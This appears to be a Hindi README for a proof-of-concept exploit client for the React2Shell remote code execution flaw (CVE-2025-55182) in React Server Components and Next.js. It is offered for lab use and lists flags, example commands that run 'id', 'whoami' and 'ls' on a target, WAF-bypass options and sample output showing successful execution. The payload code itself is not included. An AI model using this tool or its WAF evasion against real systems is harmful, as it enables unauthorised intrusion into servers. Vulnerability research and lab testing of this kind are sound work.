
RSC/Next.js रिमोट कोड एग्जीक्यूशन भेद्यताओं का सटीकता-आधारित पता लगाना (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – React Server Components RCE PoC
Hidden Investigations React2Shell लैब के लिए शैक्षिक शोषण क्लाइंट।
यह रिपॉजिटरी React2Shell भेद्यता (CVE-2025-55182) के लिए एकल-होस्ट प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शोषण उपकरण है, जो गलत तरीके से कॉन्फ़िगर किए गए React Server Components / Next.js अनुप्रयोगों को लक्षित करता है।
इसे केवल आधिकारिक Hidden Investigations React2Shell लैब या उन सिस्टमों के विरुद्ध उपयोग करने के लिए डिज़ाइन किया गया है जिनके आप स्वयं स्वामी/प्रशासक हैं।
यह परियोजना कड़ाई से शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान के लिए प्रदान की गई है:
इस उपकरण का उपयोग करके, आप सभी लागू कानूनों और विनियमों का पालन करने के लिए सहमत होते हैं।
whoami डिफ़ॉल्ट)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, कस्टम हेडर)-o/--output, --all-results)requestsनिर्भरताएँ इस प्रकार स्थापित करें:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # विंडोज पर: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
मूल सहायता:
python3 react2shell-scanner.py -h
इस उपकरण को लक्ष्य URL की आवश्यकता है:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# या
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
यदि आप इसे -t/--target या -u/--url के बिना चलाते हैं, तो यह एक ब्रांडेड सहायता संदेश प्रिंट करता है और बाहर निकल जाता है।
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-t, --target | लक्ष्य URL या डोमेन (आवश्यक जब तक --url उपयोग न हो) | कोई नहीं |
-u, --url | --target का उपनाम (Assetnote-शैली का फ़्लैग) | कोई नहीं |
--path | परीक्षण करने के लिए पथ (एकाधिक बार उपयोग किया जा सकता है, जैसे /, /_next) | / |
--path-file | परीक्षण करने के लिए पथों वाली फ़ाइल (प्रति पंक्ति एक) | कोई नहीं |
ध्यान दें: यह PoC केवल एकल-होस्ट है।
-l/--listविकल्प मौजूद है लेकिन जानबूझकर अक्षम किया गया है।
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-c, --command | लक्ष्य पर निष्पादित करने का कमांड (जब शोषण सफल हो) | id |
--safe-check | SAFE_CHECK पेलोड का उपयोग करें (कोई OS कमांड नहीं, केवल एक मार्कर स्ट्रिंग) | बंद |
--windows | विंडोज लक्ष्यों के लिए डिफ़ॉल्ट समायोजित करें (जैसे id होने पर whoami का उपयोग करें) | बंद |
--waf-bypass | WAF से बचने के लिए अनुरोध बॉडी में एक बड़ा जंक मल्टीपार्ट फ़ील्ड जोड़ें | बंद |
--waf-bypass-size KB | --waf-bypass के साथ उपयोग करने पर जंक फ़ील्ड का आकार KB में | 128 |
--vercel-waf-bypass | Vercel WAF व्यवहार को ट्वीक करने के लिए वैकल्पिक मल्टीपार्ट लेआउट (सरलीकृत PoC) | बंद |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--timeout SECONDS | अनुरोध टाइमआउट सेकंड में | 15 (या 20 यदि --waf-bypass और कोई टाइमआउट सेट नहीं) |
-k, --insecure | SSL सत्यापन अक्षम करें (curl -k जैसा) | बंद |
-H, --header | कस्टम हेडर, जैसे -H "X-Forwarded-For: 127.0.0.1" (दोहराने योग्य) | कोई नहीं |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-o, --output FILE | JSON परिणाम FILE में लिखें | कोई नहीं |
--all-results | --output के साथ उपयोग करने पर गैर-भेद्य परिणाम भी शामिल करें | बंद |
-v, --verbose | वर्बोज़ मोड – HTTP स्थिति और X-Action-Redirect हेडर दिखाएँ | बंद |
-q, --quiet | शांत मोड – सफलता पर केवल सामान्यीकृत कमांड आउटपुट प्रिंट करें | बंद |
--no-color | रंगीन टर्मिनल आउटपुट अक्षम करें | बंद |
शांत मोड उदाहरण (सुंदर, बहु-पंक्ति आउटपुट):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
आउटपुट:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
निम्नलिखित फ़्लैग Assetnote के CLI को मिरर करने के लिए मौजूद हैं, लेकिन इस PoC में लागू नहीं हैं ताकि सामूहिक स्कैनिंग के दुरुपयोग से बचा जा सके:
| विकल्प | स्थिति |
|---|---|
-l, --list | लागू नहीं |
--threads N | लागू नहीं |
यदि आप -l/--list का उपयोग करते हैं, तो उपकरण चेतावनी प्रिंट करेगा और बाहर निकल जाएगा, और बड़े पैमाने पर सुरक्षित स्कैनिंग के लिए Assetnote के मूल react2shell-scanner का उपयोग करने का सुझाव देगा।
स्थानीय लैब पर चलाएँ:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
बड़े जंक फ़ील्ड के साथ WAF बायपास का उपयोग करें:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
एक ही होस्ट पर कई पथ:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
फ़ाइल से पथ:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
सुरक्षित जाँच मोड (कोई OS कमांड निष्पादित नहीं):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
परिणामों का JSON आउटपुट फ़ाइल में:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
जब -o/--output का उपयोग किया जाता है, तो उपकरण इस प्रकार की वस्तुओं की एक सरणी लिखता है:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner के माध्यम से WAF बायपास विचारों के लिए प्रेरणा।यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। विवरण के लिए LICENSE देखें।
📬 हमसे संपर्क करें: [email protected]